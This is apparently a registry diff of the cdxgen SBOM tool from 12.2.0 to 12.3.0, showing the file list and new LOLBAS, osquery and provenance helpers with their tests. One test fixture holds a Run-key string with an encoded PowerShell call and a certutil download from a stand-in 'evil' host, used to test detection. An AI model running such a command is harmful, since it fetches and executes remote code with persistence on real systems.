@cyclonedx/cdxgen 12.2.0 → 12.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (181) hide show
  1. package/README.md +242 -90
  2. package/bin/audit.js +191 -0
  3. package/bin/cdxgen.js +532 -168
  4. package/bin/convert.js +99 -0
  5. package/bin/evinse.js +23 -0
  6. package/bin/repl.js +339 -8
  7. package/bin/sign.js +8 -0
  8. package/bin/validate.js +8 -0
  9. package/bin/verify.js +8 -0
  10. package/data/container-knowledge-index.json +125 -0
  11. package/data/gtfobins-index.json +6296 -0
  12. package/data/lolbas-index.json +150 -0
  13. package/data/queries-darwin.json +63 -3
  14. package/data/queries-win.json +45 -3
  15. package/data/queries.json +74 -2
  16. package/data/rules/chrome-extensions.yaml +240 -0
  17. package/data/rules/ci-permissions.yaml +478 -18
  18. package/data/rules/container-risk.yaml +270 -0
  19. package/data/rules/obom-runtime.yaml +891 -0
  20. package/data/rules/package-integrity.yaml +49 -0
  21. package/data/spdx-export.schema.json +6794 -0
  22. package/data/spdx-model-v3.0.1.jsonld +15999 -0
  23. package/lib/audit/index.js +1924 -0
  24. package/lib/audit/index.poku.js +1488 -0
  25. package/lib/audit/progress.js +137 -0
  26. package/lib/audit/progress.poku.js +188 -0
  27. package/lib/audit/reporters.js +618 -0
  28. package/lib/audit/scoring.js +310 -0
  29. package/lib/audit/scoring.poku.js +341 -0
  30. package/lib/audit/targets.js +260 -0
  31. package/lib/audit/targets.poku.js +331 -0
  32. package/lib/cli/index.js +276 -68
  33. package/lib/cli/index.poku.js +368 -0
  34. package/lib/helpers/analyzer.js +1052 -5
  35. package/lib/helpers/analyzer.poku.js +301 -0
  36. package/lib/helpers/annotationFormatter.js +49 -0
  37. package/lib/helpers/annotationFormatter.poku.js +44 -0
  38. package/lib/helpers/bomUtils.js +36 -0
  39. package/lib/helpers/bomUtils.poku.js +51 -0
  40. package/lib/helpers/caxa.js +2 -2
  41. package/lib/helpers/chromextutils.js +1153 -0
  42. package/lib/helpers/chromextutils.poku.js +493 -0
  43. package/lib/helpers/ciParsers/githubActions.js +1632 -45
  44. package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
  45. package/lib/helpers/containerRisk.js +186 -0
  46. package/lib/helpers/containerRisk.poku.js +52 -0
  47. package/lib/helpers/depsUtils.js +16 -0
  48. package/lib/helpers/depsUtils.poku.js +58 -1
  49. package/lib/helpers/display.js +245 -61
  50. package/lib/helpers/display.poku.js +162 -2
  51. package/lib/helpers/exportUtils.js +123 -0
  52. package/lib/helpers/exportUtils.poku.js +60 -0
  53. package/lib/helpers/formulationParsers.js +69 -0
  54. package/lib/helpers/formulationParsers.poku.js +44 -0
  55. package/lib/helpers/gtfobins.js +189 -0
  56. package/lib/helpers/gtfobins.poku.js +49 -0
  57. package/lib/helpers/lolbas.js +267 -0
  58. package/lib/helpers/lolbas.poku.js +39 -0
  59. package/lib/helpers/osqueryTransform.js +84 -0
  60. package/lib/helpers/osqueryTransform.poku.js +49 -0
  61. package/lib/helpers/provenanceUtils.js +193 -0
  62. package/lib/helpers/provenanceUtils.poku.js +145 -0
  63. package/lib/helpers/pylockutils.js +281 -0
  64. package/lib/helpers/pylockutils.poku.js +48 -0
  65. package/lib/helpers/registryProvenance.js +793 -0
  66. package/lib/helpers/registryProvenance.poku.js +452 -0
  67. package/lib/helpers/remote/dependency-track.js +84 -0
  68. package/lib/helpers/remote/dependency-track.poku.js +119 -0
  69. package/lib/helpers/source.js +1267 -0
  70. package/lib/helpers/source.poku.js +771 -0
  71. package/lib/helpers/spdxUtils.js +97 -0
  72. package/lib/helpers/spdxUtils.poku.js +70 -0
  73. package/lib/helpers/table.js +384 -0
  74. package/lib/helpers/table.poku.js +186 -0
  75. package/lib/helpers/unicodeScan.js +147 -0
  76. package/lib/helpers/unicodeScan.poku.js +45 -0
  77. package/lib/helpers/utils.js +882 -136
  78. package/lib/helpers/utils.poku.js +995 -91
  79. package/lib/managers/binary.js +29 -5
  80. package/lib/managers/docker.js +179 -52
  81. package/lib/managers/docker.poku.js +327 -28
  82. package/lib/managers/oci.js +107 -23
  83. package/lib/managers/oci.poku.js +132 -0
  84. package/lib/server/openapi.yaml +50 -0
  85. package/lib/server/server.js +228 -331
  86. package/lib/server/server.poku.js +220 -5
  87. package/lib/stages/postgen/annotator.js +7 -0
  88. package/lib/stages/postgen/annotator.poku.js +40 -0
  89. package/lib/stages/postgen/auditBom.js +20 -5
  90. package/lib/stages/postgen/auditBom.poku.js +1729 -67
  91. package/lib/stages/postgen/postgen.js +40 -0
  92. package/lib/stages/postgen/postgen.poku.js +47 -0
  93. package/lib/stages/postgen/ruleEngine.js +80 -2
  94. package/lib/stages/postgen/spdxConverter.js +796 -0
  95. package/lib/stages/postgen/spdxConverter.poku.js +341 -0
  96. package/lib/validator/bomValidator.js +232 -0
  97. package/lib/validator/bomValidator.poku.js +70 -0
  98. package/lib/validator/complianceRules.js +70 -7
  99. package/lib/validator/complianceRules.poku.js +30 -0
  100. package/lib/validator/reporters/annotations.js +2 -2
  101. package/lib/validator/reporters/console.js +13 -2
  102. package/lib/validator/reporters.poku.js +13 -0
  103. package/package.json +10 -8
  104. package/types/bin/audit.d.ts +3 -0
  105. package/types/bin/audit.d.ts.map +1 -0
  106. package/types/bin/convert.d.ts +3 -0
  107. package/types/bin/convert.d.ts.map +1 -0
  108. package/types/bin/repl.d.ts.map +1 -1
  109. package/types/lib/audit/index.d.ts +115 -0
  110. package/types/lib/audit/index.d.ts.map +1 -0
  111. package/types/lib/audit/progress.d.ts +27 -0
  112. package/types/lib/audit/progress.d.ts.map +1 -0
  113. package/types/lib/audit/reporters.d.ts +35 -0
  114. package/types/lib/audit/reporters.d.ts.map +1 -0
  115. package/types/lib/audit/scoring.d.ts +35 -0
  116. package/types/lib/audit/scoring.d.ts.map +1 -0
  117. package/types/lib/audit/targets.d.ts +63 -0
  118. package/types/lib/audit/targets.d.ts.map +1 -0
  119. package/types/lib/cli/index.d.ts +8 -0
  120. package/types/lib/cli/index.d.ts.map +1 -1
  121. package/types/lib/helpers/analyzer.d.ts +13 -0
  122. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  123. package/types/lib/helpers/annotationFormatter.d.ts +23 -0
  124. package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
  125. package/types/lib/helpers/bomUtils.d.ts +5 -0
  126. package/types/lib/helpers/bomUtils.d.ts.map +1 -0
  127. package/types/lib/helpers/chromextutils.d.ts +97 -0
  128. package/types/lib/helpers/chromextutils.d.ts.map +1 -0
  129. package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
  130. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  131. package/types/lib/helpers/containerRisk.d.ts +17 -0
  132. package/types/lib/helpers/containerRisk.d.ts.map +1 -0
  133. package/types/lib/helpers/depsUtils.d.ts.map +1 -1
  134. package/types/lib/helpers/display.d.ts +4 -1
  135. package/types/lib/helpers/display.d.ts.map +1 -1
  136. package/types/lib/helpers/exportUtils.d.ts +40 -0
  137. package/types/lib/helpers/exportUtils.d.ts.map +1 -0
  138. package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
  139. package/types/lib/helpers/gtfobins.d.ts +17 -0
  140. package/types/lib/helpers/gtfobins.d.ts.map +1 -0
  141. package/types/lib/helpers/lolbas.d.ts +16 -0
  142. package/types/lib/helpers/lolbas.d.ts.map +1 -0
  143. package/types/lib/helpers/osqueryTransform.d.ts +7 -0
  144. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
  145. package/types/lib/helpers/provenanceUtils.d.ts +90 -0
  146. package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
  147. package/types/lib/helpers/pylockutils.d.ts +51 -0
  148. package/types/lib/helpers/pylockutils.d.ts.map +1 -0
  149. package/types/lib/helpers/registryProvenance.d.ts +17 -0
  150. package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
  151. package/types/lib/helpers/remote/dependency-track.d.ts +16 -0
  152. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -0
  153. package/types/lib/helpers/source.d.ts +141 -0
  154. package/types/lib/helpers/source.d.ts.map +1 -0
  155. package/types/lib/helpers/spdxUtils.d.ts +2 -0
  156. package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
  157. package/types/lib/helpers/table.d.ts +6 -0
  158. package/types/lib/helpers/table.d.ts.map +1 -0
  159. package/types/lib/helpers/unicodeScan.d.ts +46 -0
  160. package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
  161. package/types/lib/helpers/utils.d.ts +30 -11
  162. package/types/lib/helpers/utils.d.ts.map +1 -1
  163. package/types/lib/managers/binary.d.ts.map +1 -1
  164. package/types/lib/managers/docker.d.ts.map +1 -1
  165. package/types/lib/managers/oci.d.ts.map +1 -1
  166. package/types/lib/server/server.d.ts +0 -35
  167. package/types/lib/server/server.d.ts.map +1 -1
  168. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  169. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  170. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  171. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  172. package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
  173. package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
  174. package/types/lib/validator/bomValidator.d.ts +1 -0
  175. package/types/lib/validator/bomValidator.d.ts.map +1 -1
  176. package/types/lib/validator/complianceRules.d.ts.map +1 -1
  177. package/types/lib/validator/reporters/console.d.ts.map +1 -1
  178. package/types/bin/dependencies.d.ts +0 -3
  179. package/types/bin/dependencies.d.ts.map +0 -1
  180. package/types/bin/licenses.d.ts +0 -3
  181. package/types/bin/licenses.d.ts.map +0 -1
@@ -0,0 +1,39 @@
1
+ import { strict as assert } from "node:assert";
2
+
3
+ import { describe, it } from "poku";
4
+
5
+ import { createLolbasProperties, getLolbasMetadata } from "./lolbas.js";
6
+
7
+ describe("lolbas helpers", () => {
8
+ it("resolves extensionless aliases to canonical LOLBAS executables", () => {
9
+ const metadata = getLolbasMetadata("powershell");
10
+ assert.ok(metadata);
11
+ assert.strictEqual(metadata.canonicalName, "powershell.exe");
12
+ assert.ok(metadata.functions.includes("script-execution"));
13
+ assert.ok(metadata.attackTechniques.includes("T1059.001"));
14
+ });
15
+
16
+ it("resolves fully qualified Windows paths", () => {
17
+ const metadata = getLolbasMetadata("C:\\Windows\\System32\\regsvr32.exe");
18
+ assert.ok(metadata);
19
+ assert.strictEqual(metadata.canonicalName, "regsvr32.exe");
20
+ assert.ok(metadata.riskTags.includes("proxy-execution"));
21
+ });
22
+
23
+ it("creates aggregated properties for osquery rows with LOLBAS matches", () => {
24
+ const properties = createLolbasProperties("windows_run_keys", {
25
+ description:
26
+ "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
27
+ key: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
28
+ });
29
+ const propertyMap = Object.fromEntries(
30
+ properties.map((property) => [property.name, property.value]),
31
+ );
32
+ assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
33
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
34
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
35
+ assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
36
+ assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
37
+ assert.ok(propertyMap["cdx:lolbas:matchFields"].includes("description"));
38
+ });
39
+ });
@@ -0,0 +1,84 @@
1
+ import { PackageURL } from "packageurl-js";
2
+
3
+ export function deriveOsQueryVersion(res) {
4
+ return (
5
+ res.version ||
6
+ res.hotfix_id ||
7
+ res.hardware_version ||
8
+ res.port ||
9
+ res.pid ||
10
+ res.subject_key_id ||
11
+ res.interface ||
12
+ res.instance_id
13
+ );
14
+ }
15
+
16
+ export function deriveOsQueryName(res, singleResult, queryName) {
17
+ let name =
18
+ res.name ||
19
+ res.device_id ||
20
+ res.hotfix_id ||
21
+ res.uuid ||
22
+ res.serial ||
23
+ res.pid ||
24
+ res.address ||
25
+ res.ami_id ||
26
+ res.interface ||
27
+ res.client_app_id;
28
+ if (!name && singleResult && queryName) {
29
+ name = queryName;
30
+ }
31
+ return name;
32
+ }
33
+
34
+ export function deriveOsQueryPublisher(res) {
35
+ const publisher =
36
+ res.publisher ||
37
+ res.maintainer ||
38
+ res.creator ||
39
+ res.manufacturer ||
40
+ res.provider ||
41
+ "";
42
+ return publisher === "null" ? "" : publisher;
43
+ }
44
+
45
+ export function deriveOsQueryDescription(res) {
46
+ return (
47
+ res.description ||
48
+ res.summary ||
49
+ res.arguments ||
50
+ res.device ||
51
+ res.codename ||
52
+ res.section ||
53
+ res.status ||
54
+ res.identifier ||
55
+ res.components ||
56
+ ""
57
+ );
58
+ }
59
+
60
+ export function sanitizeOsQueryIdentity(value) {
61
+ return String(value || "")
62
+ .replace(/ /g, "+")
63
+ .replace(/[:%]/g, "-")
64
+ .replace(/^[@{]/g, "")
65
+ .replace(/[}]$/g, "");
66
+ }
67
+
68
+ export function createOsQueryPurl(
69
+ purlType,
70
+ group,
71
+ name,
72
+ version,
73
+ qualifiers,
74
+ subpath,
75
+ ) {
76
+ return new PackageURL(
77
+ purlType || "swid",
78
+ group,
79
+ name,
80
+ version || "",
81
+ qualifiers,
82
+ subpath,
83
+ ).toString();
84
+ }
@@ -0,0 +1,49 @@
1
+ import { assert, describe, it } from "poku";
2
+
3
+ import {
4
+ createOsQueryPurl,
5
+ deriveOsQueryDescription,
6
+ deriveOsQueryName,
7
+ deriveOsQueryPublisher,
8
+ deriveOsQueryVersion,
9
+ sanitizeOsQueryIdentity,
10
+ } from "./osqueryTransform.js";
11
+
12
+ describe("osqueryTransform helpers", () => {
13
+ it("derives version, name, publisher, and description from osquery rows", () => {
14
+ const row = {
15
+ pid: "1024",
16
+ provider: "null",
17
+ summary: "sample description",
18
+ };
19
+ assert.strictEqual(deriveOsQueryVersion(row), "1024");
20
+ assert.strictEqual(deriveOsQueryName(row, false), "1024");
21
+ assert.strictEqual(deriveOsQueryPublisher(row), "");
22
+ assert.strictEqual(deriveOsQueryDescription(row), "sample description");
23
+ });
24
+
25
+ it("falls back to query name for single-row synthetic entries", () => {
26
+ const row = {};
27
+ assert.strictEqual(deriveOsQueryName(row, true, "os-image"), "os-image");
28
+ });
29
+
30
+ it("sanitizes osquery identity strings used in purl fields", () => {
31
+ assert.strictEqual(
32
+ sanitizeOsQueryIdentity("{My App:%Name}"),
33
+ "My+App--Name",
34
+ );
35
+ });
36
+
37
+ it("creates valid purl strings for osquery-derived components", () => {
38
+ const purl = createOsQueryPurl(
39
+ "swid",
40
+ "microsoft",
41
+ "windows+11",
42
+ "22H2",
43
+ undefined,
44
+ "windows",
45
+ );
46
+ assert.ok(purl.startsWith("pkg:swid/microsoft/"));
47
+ assert.ok(purl.includes("@22H2"));
48
+ });
49
+ });
@@ -0,0 +1,193 @@
1
+ const NPM_PROVENANCE_URL_PROPERTY = "cdx:npm:provenanceUrl";
2
+ const NPM_TRUSTED_PUBLISHING_PROPERTY = "cdx:npm:trustedPublishing";
3
+ const PYPI_PROVENANCE_URL_PROPERTY = "cdx:pypi:provenanceUrl";
4
+ const PYPI_TRUSTED_PUBLISHING_PROPERTY = "cdx:pypi:trustedPublishing";
5
+
6
+ export const NPM_PROVENANCE_EVIDENCE_PROPERTIES = [
7
+ NPM_PROVENANCE_URL_PROPERTY,
8
+ "cdx:npm:provenanceDigest",
9
+ "cdx:npm:provenanceKeyId",
10
+ "cdx:npm:provenancePredicateType",
11
+ "cdx:npm:provenanceSignature",
12
+ "cdx:npm:artifactIntegrity",
13
+ "cdx:npm:artifactShasum",
14
+ ];
15
+ export const PYPI_PROVENANCE_EVIDENCE_PROPERTIES = [
16
+ PYPI_PROVENANCE_URL_PROPERTY,
17
+ "cdx:pypi:provenanceDigest",
18
+ "cdx:pypi:provenanceKeyId",
19
+ "cdx:pypi:provenancePredicateType",
20
+ "cdx:pypi:provenanceSignature",
21
+ "cdx:pypi:artifactDigestSha256",
22
+ "cdx:pypi:artifactDigestBlake2b256",
23
+ "cdx:pypi:artifactDigestMd5",
24
+ ];
25
+ export const REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES = [
26
+ ...NPM_PROVENANCE_EVIDENCE_PROPERTIES,
27
+ ...PYPI_PROVENANCE_EVIDENCE_PROPERTIES,
28
+ ];
29
+ export const TRUSTED_PUBLISHING_PROPERTIES = [
30
+ NPM_TRUSTED_PUBLISHING_PROPERTY,
31
+ PYPI_TRUSTED_PUBLISHING_PROPERTY,
32
+ ];
33
+
34
+ export const REGISTRY_PROVENANCE_ICON = "🛡";
35
+
36
+ /**
37
+ * Return a component property value by name.
38
+ *
39
+ * @param {object} component CycloneDX component
40
+ * @param {string} propertyName Property name to look up
41
+ * @returns {string | undefined} Property value if present
42
+ */
43
+ export function getComponentPropertyValue(component, propertyName) {
44
+ return component?.properties?.find((prop) => prop?.name === propertyName)
45
+ ?.value;
46
+ }
47
+
48
+ /**
49
+ * Return a property value by name from a raw properties array.
50
+ *
51
+ * @param {object[]} properties CycloneDX properties array
52
+ * @param {string} propertyName Property name to look up
53
+ * @returns {string | undefined} Property value if present
54
+ */
55
+ export function getPropertyValue(properties, propertyName) {
56
+ return properties?.find((prop) => prop?.name === propertyName)?.value;
57
+ }
58
+
59
+ /**
60
+ * Check whether any of the supplied properties exist and carry a value.
61
+ *
62
+ * @param {object[]} properties CycloneDX properties array
63
+ * @param {string[]} propertyNames Property names to test
64
+ * @returns {boolean} True when any named property has a non-empty value
65
+ */
66
+ export function hasAnyPropertyValue(properties, propertyNames) {
67
+ return propertyNames.some((propertyName) =>
68
+ Boolean(getPropertyValue(properties, propertyName)),
69
+ );
70
+ }
71
+
72
+ /**
73
+ * Determine whether a raw properties array includes trusted publishing metadata.
74
+ *
75
+ * @param {object[]} properties CycloneDX properties array
76
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
77
+ */
78
+ export function hasTrustedPublishingProperties(properties) {
79
+ return TRUSTED_PUBLISHING_PROPERTIES.some(
80
+ (propertyName) => getPropertyValue(properties, propertyName) === "true",
81
+ );
82
+ }
83
+
84
+ /**
85
+ * Determine whether a raw properties array includes direct registry provenance evidence.
86
+ *
87
+ * @param {object[]} properties CycloneDX properties array
88
+ * @returns {boolean} True when direct provenance evidence is present
89
+ */
90
+ export function hasRegistryProvenanceEvidenceProperties(properties) {
91
+ return hasAnyPropertyValue(
92
+ properties,
93
+ REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES,
94
+ );
95
+ }
96
+
97
+ /**
98
+ * Determine whether a component includes trusted publishing metadata.
99
+ *
100
+ * @param {object} component CycloneDX component
101
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
102
+ */
103
+ export function hasComponentTrustedPublishing(component) {
104
+ return hasTrustedPublishingProperties(component?.properties);
105
+ }
106
+
107
+ /**
108
+ * Determine whether a component includes direct registry provenance evidence.
109
+ *
110
+ * @param {object} component CycloneDX component
111
+ * @returns {boolean} True when provenance URL, digests, signatures, or key IDs exist
112
+ */
113
+ export function hasComponentRegistryProvenanceEvidence(component) {
114
+ return hasRegistryProvenanceEvidenceProperties(component?.properties);
115
+ }
116
+
117
+ /**
118
+ * Determine whether a component includes registry provenance metadata.
119
+ *
120
+ * @param {object} component CycloneDX component
121
+ * @returns {boolean} True when provenance or trusted publishing metadata exists
122
+ */
123
+ export function hasComponentRegistryProvenance(component) {
124
+ return (
125
+ hasComponentTrustedPublishing(component) ||
126
+ hasComponentRegistryProvenanceEvidence(component)
127
+ );
128
+ }
129
+
130
+ /**
131
+ * Filter components to those carrying trusted publishing metadata.
132
+ *
133
+ * @param {object[]} components BOM components
134
+ * @returns {object[]} Trusted-publishing-backed components
135
+ */
136
+ export function getTrustedComponents(components) {
137
+ if (!Array.isArray(components)) {
138
+ return [];
139
+ }
140
+ return components.filter((component) =>
141
+ hasComponentTrustedPublishing(component),
142
+ );
143
+ }
144
+
145
+ /**
146
+ * Filter components to those carrying direct registry provenance evidence.
147
+ *
148
+ * @param {object[]} components BOM components
149
+ * @returns {object[]} Provenance-backed components
150
+ */
151
+ export function getProvenanceComponents(components) {
152
+ if (!Array.isArray(components)) {
153
+ return [];
154
+ }
155
+ return components.filter((component) =>
156
+ hasComponentRegistryProvenanceEvidence(component),
157
+ );
158
+ }
159
+
160
+ /**
161
+ * Count components with trusted publishing metadata by registry ecosystem.
162
+ *
163
+ * @param {object[]} components BOM components
164
+ * @returns {{npm: number, pypi: number, total: number}} Trusted publishing counts
165
+ */
166
+ export function getTrustedPublishingComponentCounts(components) {
167
+ const counts = {
168
+ npm: 0,
169
+ pypi: 0,
170
+ total: 0,
171
+ };
172
+ if (!Array.isArray(components)) {
173
+ return counts;
174
+ }
175
+ for (const component of components) {
176
+ const npmTrustedPublishing =
177
+ getComponentPropertyValue(component, NPM_TRUSTED_PUBLISHING_PROPERTY) ===
178
+ "true";
179
+ const pypiTrustedPublishing =
180
+ getComponentPropertyValue(component, PYPI_TRUSTED_PUBLISHING_PROPERTY) ===
181
+ "true";
182
+ if (npmTrustedPublishing) {
183
+ counts.npm += 1;
184
+ }
185
+ if (pypiTrustedPublishing) {
186
+ counts.pypi += 1;
187
+ }
188
+ if (npmTrustedPublishing || pypiTrustedPublishing) {
189
+ counts.total += 1;
190
+ }
191
+ }
192
+ return counts;
193
+ }
@@ -0,0 +1,145 @@
1
+ import { assert, describe, it } from "poku";
2
+
3
+ import {
4
+ getPropertyValue,
5
+ getProvenanceComponents,
6
+ getTrustedComponents,
7
+ getTrustedPublishingComponentCounts,
8
+ hasAnyPropertyValue,
9
+ hasComponentRegistryProvenance,
10
+ hasComponentRegistryProvenanceEvidence,
11
+ hasComponentTrustedPublishing,
12
+ hasRegistryProvenanceEvidenceProperties,
13
+ hasTrustedPublishingProperties,
14
+ } from "./provenanceUtils.js";
15
+
16
+ describe("provenanceUtils", () => {
17
+ const npmTrustedComponent = {
18
+ name: "left-pad",
19
+ properties: [
20
+ {
21
+ name: "cdx:npm:trustedPublishing",
22
+ value: "true",
23
+ },
24
+ ],
25
+ };
26
+ const pypiProvenanceComponent = {
27
+ name: "requests",
28
+ properties: [
29
+ {
30
+ name: "cdx:pypi:provenanceUrl",
31
+ value: "https://pypi.org/integrity/example",
32
+ },
33
+ ],
34
+ };
35
+ const plainComponent = {
36
+ name: "lodash",
37
+ properties: [],
38
+ };
39
+
40
+ it("detects trusted publishing and registry provenance metadata", () => {
41
+ assert.strictEqual(
42
+ hasComponentTrustedPublishing(npmTrustedComponent),
43
+ true,
44
+ );
45
+ assert.strictEqual(
46
+ hasComponentRegistryProvenance(pypiProvenanceComponent),
47
+ true,
48
+ );
49
+ assert.strictEqual(
50
+ hasComponentRegistryProvenanceEvidence(pypiProvenanceComponent),
51
+ true,
52
+ );
53
+ assert.strictEqual(hasComponentRegistryProvenance(plainComponent), false);
54
+ });
55
+
56
+ it("filters trusted components and counts trusted publishing by ecosystem", () => {
57
+ assert.deepStrictEqual(
58
+ getTrustedComponents([
59
+ plainComponent,
60
+ npmTrustedComponent,
61
+ pypiProvenanceComponent,
62
+ ]).map((component) => component.name),
63
+ ["left-pad"],
64
+ );
65
+ assert.deepStrictEqual(
66
+ getProvenanceComponents([
67
+ plainComponent,
68
+ npmTrustedComponent,
69
+ pypiProvenanceComponent,
70
+ ]).map((component) => component.name),
71
+ ["requests"],
72
+ );
73
+ assert.deepStrictEqual(
74
+ getTrustedPublishingComponentCounts([
75
+ npmTrustedComponent,
76
+ {
77
+ name: "urllib3",
78
+ properties: [
79
+ {
80
+ name: "cdx:pypi:trustedPublishing",
81
+ value: "true",
82
+ },
83
+ ],
84
+ },
85
+ plainComponent,
86
+ ]),
87
+ {
88
+ npm: 1,
89
+ pypi: 1,
90
+ total: 2,
91
+ },
92
+ );
93
+ });
94
+
95
+ it("supports property-array checks used by display and audit code", () => {
96
+ const properties = [
97
+ {
98
+ name: "cdx:npm:provenanceKeyId",
99
+ value: "sigstore-key",
100
+ },
101
+ {
102
+ name: "cdx:npm:trustedPublishing",
103
+ value: "true",
104
+ },
105
+ ];
106
+ assert.strictEqual(
107
+ getPropertyValue(properties, "cdx:npm:provenanceKeyId"),
108
+ "sigstore-key",
109
+ );
110
+ assert.strictEqual(
111
+ hasAnyPropertyValue(properties, ["cdx:npm:provenanceKeyId"]),
112
+ true,
113
+ );
114
+ assert.strictEqual(hasTrustedPublishingProperties(properties), true);
115
+ assert.strictEqual(
116
+ hasRegistryProvenanceEvidenceProperties(properties),
117
+ true,
118
+ );
119
+ });
120
+
121
+ it("counts total trusted publishing components once even with multiple registry flags", () => {
122
+ assert.deepStrictEqual(
123
+ getTrustedPublishingComponentCounts([
124
+ {
125
+ name: "dual-published",
126
+ properties: [
127
+ {
128
+ name: "cdx:npm:trustedPublishing",
129
+ value: "true",
130
+ },
131
+ {
132
+ name: "cdx:pypi:trustedPublishing",
133
+ value: "true",
134
+ },
135
+ ],
136
+ },
137
+ ]),
138
+ {
139
+ npm: 1,
140
+ pypi: 1,
141
+ total: 1,
142
+ },
143
+ );
144
+ });
145
+ });